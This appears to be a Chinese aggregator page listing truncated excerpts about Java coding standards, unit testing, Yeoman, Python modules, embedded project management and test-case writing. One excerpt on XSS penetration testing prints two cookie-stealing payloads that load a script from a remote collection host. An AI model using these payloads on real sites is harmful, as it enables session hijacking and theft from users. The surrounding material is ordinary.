模块测试

代码规范

别来无恙 提交于 2020-03-18 14:20:52
编码规范 1 前言 为确保系统源程序可读性,从而增强系统可维护性,java编程人员应具有基本类似的编程风格,兹制定下述Java编程规范,以规范系统Java部分编程。系统继承的其它资源中的源程序也应按此规范作相应修改。 2 适用范围 本文档将作为java编程人员软件开发的编程格式规范。在项目Java部分的编码、测试及维护过程中,要求严格遵守。 3 命名规范 定义这个规范的目的是让项目中所有的文档都看起来像一个人写的,增加可读性,减少项目组中因为换人而带来的损失。 3.1 Package 的命名 Package 的名字应该都是由一个小写单词组成。示例:unipost.trans 3.2 Class 的命名 Class 的名字每个单词必须由大写字母开头而其他字母都小写的单词组成。示例:FileMng 3.3 Class 成员的命名 变量、方法、属性:大小写混排的单词组成,首字母小写 示例: functionName、countNum、size 3.4 Static Final 变量的命名 Static Final常量:大写单词组成,单词之间使用“_”连接 示例: MAX_INDEX 3.5 前后台变量名称 前台变量 fg_变量名 后台变量 bg_变量名 3.6 参数的命名 参数的名字必须和变量的命名规范一致。 3.7 数组的命名 数组应该总是用下面的方式来命名: 1 byte[]

【转载】Java代码编写规范

拈花ヽ惹草 提交于 2020-03-17 20:37:44
原文链接: https://www.cnblogs.com/ftl1012/p/javaCode.html 编码规范 1 前言 为确保系统源程序可读性,从而增强系统可维护性,java编程人员应具有基本类似的编程风格,兹制定下述Java编程规范,以规范系统Java部分编程。系统继承的其它资源中的源程序也应按此规范作相应修改。 2 适用范围 本文档将作为java编程人员软件开发的编程格式规范。在项目Java部分的编码、测试及维护过程中,要求严格遵守。 3 命名规范 定义这个规范的目的是让项目中所有的文档都看起来像一个人写的,增加可读性,减少项目组中因为换人而带来的损失。 3.1 Package 的命名 Package 的名字应该都是由一个小写单词组成。示例:unipost.trans 3.2 Class 的命名 Class 的名字每个单词必须由大写字母开头而其他字母都小写的单词组成。示例:FileMng 3.3 Class 成员的命名 变量、方法、属性:大小写混排的单词组成,首字母小写 示例: functionName、countNum、size 3.4 Static Final 变量的命名 Static Final常量:大写单词组成,单词之间使用“_”连接 示例: MAX_INDEX 3.5 前后台变量名称 前台变量 fg_变量名 后台变量 bg_变量名 3.6 参数的命名

软件质量保证与测试——单元测试过程&断言

99封情书 提交于 2020-03-17 18:23:57
单元测试过程 定义:单元测试是对软件 基础组成单元 进行的测试 时机:一般在 代码完成后由开发人员完成 ,QA人员辅助 对象:类、模块、组件、单元 单元测试 单元测试的依据是软件的 详细设计描述、源程序清单、编码标准 等。 单元测试一般应该由编程人员完成,有时测试人员也加入进来,但编程人员扔会起到主要作用。 多个被测试模块之间的单元测试可同时进行,以提高单元测试效率。 单元测试是对软件组成的基本单元测试。 在传统的结构化编程语言如c语言中,单元一般是模块,也就是函数或子过程。 在象c++中,单元是类和类的方法 在Ada语言中,单元可为独立的过程、函数或Ada包 在第四代语言(4GL)中,单元对应为一个菜单或显示界面。 单元测试的目的 验证 代码 是否达到详细设计的预期要求(概要设计->集成测试) 发现代码中不符合 编码规范 的地方 准确定位发现的错误,以便排除错误 单元测试的优点 单元测试在编码过程中(在所有测试前),若发现一个错误,不论是从做回归测试的角度,还是对错误原因理解的深刻性的角度,修复错误的成本远小于集成测试阶段,更小于系统测试阶段( 效益更优 ) 在编码过程中考虑单元测试的问题,有助于编程人员养成更良好的 编程习惯 ( 规范 ),提高源代码质量 单元测试的步骤 实施应遵循一定的步骤。 计划 单元测试 设计 单元测试 实现 单元测试 执行 单元测试 结果分析并提交

用Yeoman构建AngularJS项目

一世执手 提交于 2020-03-17 11:59:12
转至https://yq.aliyun.com/articles/25578 Yeoman 介绍 Yeoman 是 Google 的团队和外部贡献者团队合作开发的,他的目标是通过 Grunt(一个用于开发任务自动化的命令行工具)和 Bower(一个HTML、CSS、Javascript 和图片等前端资源的包管理器)的包装为开发者创建一个易用的工作流。 Yeoman 的目的不仅是要为新项目建立工作流,同时还是为了解决前端开发所面临的诸多严重问题,例如零散的依赖关系。 Yeoman 主要有三部分组成: yo (脚手架工具)、 grunt (构建工具)、 bower (包管理器)。这三个工具是分别独立开发的,但是需要配合使用,来实现我们高效的工作流模式。 Yo 搭建新应用的脚手架,编写你的 Grunt 配置并且安装你有可能在构建中需要的相关的 Grunt 任务。 Grunt 被用来构建,预览以及测试你的项目,感谢来自那些由 Yeoman 团队和 runt-contrib 所管理的任务的帮助。 Bower 被用来进行依赖管理,所以你不再需要手动的下载和管理你的脚本了。 下面这幅图很形象的表明了他们三者之间的协作关系。 Yeoman 特性: 快速创建骨架应用程序 。使用可自定义的模板(例如:HTML5、Boilerplate、Twitter Bootstrap 等)、AMD(通过

模块与包

僤鯓⒐⒋嵵緔 提交于 2020-03-15 01:05:21
一 模块介绍 1、什么是模块? #常见的场景:一个模块就是一个包含了一组功能的python文件,比如spam.py,模块名为spam,可以通过import spam使用。 #在python中,模块的使用方式都是一样的,但其实细说的话,模块可以分为四个通用类别:  使用python编写的.py文件 已被编译为共享库或DLL的C或C++扩展 把一系列模块组织到一起的文件夹(注:文件夹下有一个__init__.py文件,该文件夹称之为包) 使用C编写并链接到python解释器的内置模块 2、为何要使用模块? #1、从文件级别组织程序,更方便管理 随着程序的发展,功能越来越多,为了方便管理,我们通常将程序分成一个个的文件,这样做程序的结构更清晰,方便管理。这时我们不仅仅可以把这些文件当做脚本去执行,还可以把他们当做模块来导入到其他的模块中,实现了功能的重复利用 #2、拿来主义,提升开发效率 同样的原理,我们也可以下载别人写好的模块然后导入到自己的项目中使用,这种拿来主义,可以极大地提升我们的开发效率 #ps: 如果你退出python解释器然后重新进入,那么你之前定义的函数或者变量都将丢失,因此我们通常将程序写到文件中以便永久保存下来,需要时就通过python test.py方式去执行,此时test.py被称为脚本script。 3、以spam.py为例来介绍模块的使用: 文件名spam

xss之渗透测试

一世执手 提交于 2020-03-14 23:10:52
跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式,很多人对于xss的利用大多停留在弹框框的程度,一些厂商对xss也是不以为然,都认为安全级别很低,甚至忽略不计,本文旨在讲述关于跨站脚本攻击的利用方式,并结合实例进行分析。 我们构造的获取cookie的xss脚本代码,已经成功的提交到了网站后台。 代码: </textarea>'"><script src=http://x.imlonghao.com/3E3nja?1371821300></script> 或者 </textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fx.imlonghao.com%2F3E3nja%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName

PYTHON unitest模块

余生长醉 提交于 2020-03-12 15:27:53
一、 Python 的单元测试中,一般一个测试程序文件负责测试 Python 的一个模块,或者一个模块中的一个代码文件。它们经常以 test_somemodule.py 或 testSomeModule.py 的名字命名;一般保存在被测试模块的一个子目录 tests 中,也有就保存在该模块的根目录的。 如果要编写一个测试程序,需要以 unittest. TestCase 为基类派生,这样 unittest 就可以自动找到这些测试类了。这样的一个测试类中,凡是以“test”开头的方法,都是一个测试用例。 unittest 会自动统计测试用例的个数,并在最后的测试报告中指出测试成功了几个,有那些失败。 TestCase 还有两个很有用的方法:在每个测试用例执行之前,写在 setUp 中的代码都会被执行,用来初始化测试环境;而 tearDown 中的代码则负责清除每个测试用例遗留的垃圾,恢复现场。 import unittest import commands class TSCache(object): def __init__(self): # suit initial print "case %s"%self def doRequest(self): comm = "curl -I -s -x localhost:8080 http://111111.cn/index.html"

个人项目

混江龙づ霸主 提交于 2020-03-10 11:54:57
一 .题目简介 设计一个英文打字测试软件。从文件中调入英文录入材料,最后可以给出错误率,平均录入速度。 由于本次实验使用的类较少,所有的类都建在同一个包下.EnglishGame类:主要构造都在这里完成。MyKey类:是该程序的一个内部类。 二、源码的github链接 https://github.com/ZHANGPING88/Personal-projects/blob/master/EnglishGame.md 三、所设计的模块测试用例、测试结果截图 四、问题及解决方案、心得体会 在本次试验中,我 掌握Java常用基础类API。掌握输入输出流常用类API 以及 Java异常处理。 在这次 实践 中,锻炼了自己的查阅资料的能力和快速吸收新知识的能力。在这次课程设计中,我学到了很多的知识,同时也感谢我的 老师和 同学的 指导和帮助 。在以后的学习当中,我会更加努力的学习好专业知识,并将所学的知识用于实践当中去,以便牢固掌握知识。 来源: https://www.cnblogs.com/zhang88/p/4486280.html

嵌入式项目管理心得

旧城冷巷雨未停 提交于 2020-03-08 20:28:53
管理项目和管理房屋装修有很多相似点。首先需求分析-中式装修还是欧式装修,架构设计-绘制装饰图;接着模块实现-硬装,软装,水工,电工,木工,瓦工;再者联调-各工种合作;最后家具进场保洁交付-产品上线。 要想项目管的好,就需要客户需求提炼本质,架构设计的扩展性好,层级划分清晰,模块内聚,具体实施者做事靠谱,开发有实力,逻辑清晰,联调配合顺畅,测试case覆盖需求全面。 若涉及到结构件,电子件,还需要确认模具,EMC,若有无线传输,还需要无线准入测试,以及产品的认证。 大多数员工工作的主要动力是薪水,其次是兴趣。若把兴趣调动起来,工作效率就变高了。拉来项目的是老板,老板精通财务或市场,对技术是门外汉。因而公司组织架构对产品开发不是最优的,往往流程不畅。流程不畅往往会导致扯皮。这时很强的人格魅力,沟通技巧,处事的方法,深入浅出的技术解释能力,就会派上用场。真心诚意的和一线开发者沟通,效果最好。从经济效益出发,才能得到市场人员的赞同。 项目管理,心理要装着一条线(产品开发流程) ,各部门接口(考虑的方面全),抓住两头(需求,交付)。同时要学会控制自己的心情,不以对方修为高低,语言粗俗和高雅,都不需要记心里。学会适当的放空自己,放下心中以有成见,才能做到客观公正。 来源: CSDN 作者: 糟心的事太多,唯有写作可以解忧! 链接: https://blog.csdn.net/weixin

测试用例规范

前提是你 提交于 2020-03-08 15:01:07
[+] 目的 范围 术语解释 测试用例原则 1 系统性 2 连贯性 3 全面性 4 正确性 5 符合正常业务惯例 6 仿真性 7 可操作性 测试用例主要元素 测试用例编写规范 1 常规的测试用例 2 初始化的测试用例 3 边界的测试用例 4 空值的测试用例 5 格式错误的测试用例 6 溢出的测试用例 7 关联的测试用例 8 唯一值的测试用例 9 权限不足的测试用例 10 角色权限的测试用例 测试用例编写细则 1 测试用例命名规则 2 测试用例编号规则 测试用例编写方法 1 测试用例编写准备 2 测试用例编写方法 1 目的 统一 用例编写的规范,为测试设计人员提供测试用例编写的指导,提高编写的测试用例的可读性,可执行性、合理性。为测试执行人员更好执行测试,提高测试效率,最终提高公司整个产品的质量。 测试 2 范围 适用于集成 测试 用例和 用例的编写,现在编写用例的辅助工具为 系统测试 TestDirector 8.0。 3 术语解释 集成测试: 集成测试是在软件系统集成过程中所进行的测试,其主要目的是检查软件单位之间的接口是否正确。 系统测试 : 系统测试是对已经集成好的软件系统进行彻底的测试,以验证软件系统的正确性和性能等满足其规约所指定的要求,检查软件的行为和输出是否正确并非一项简单的任务,它被称为测试的 “先知者问题 ”。 4 测试用例原则 4.1 系统性 1.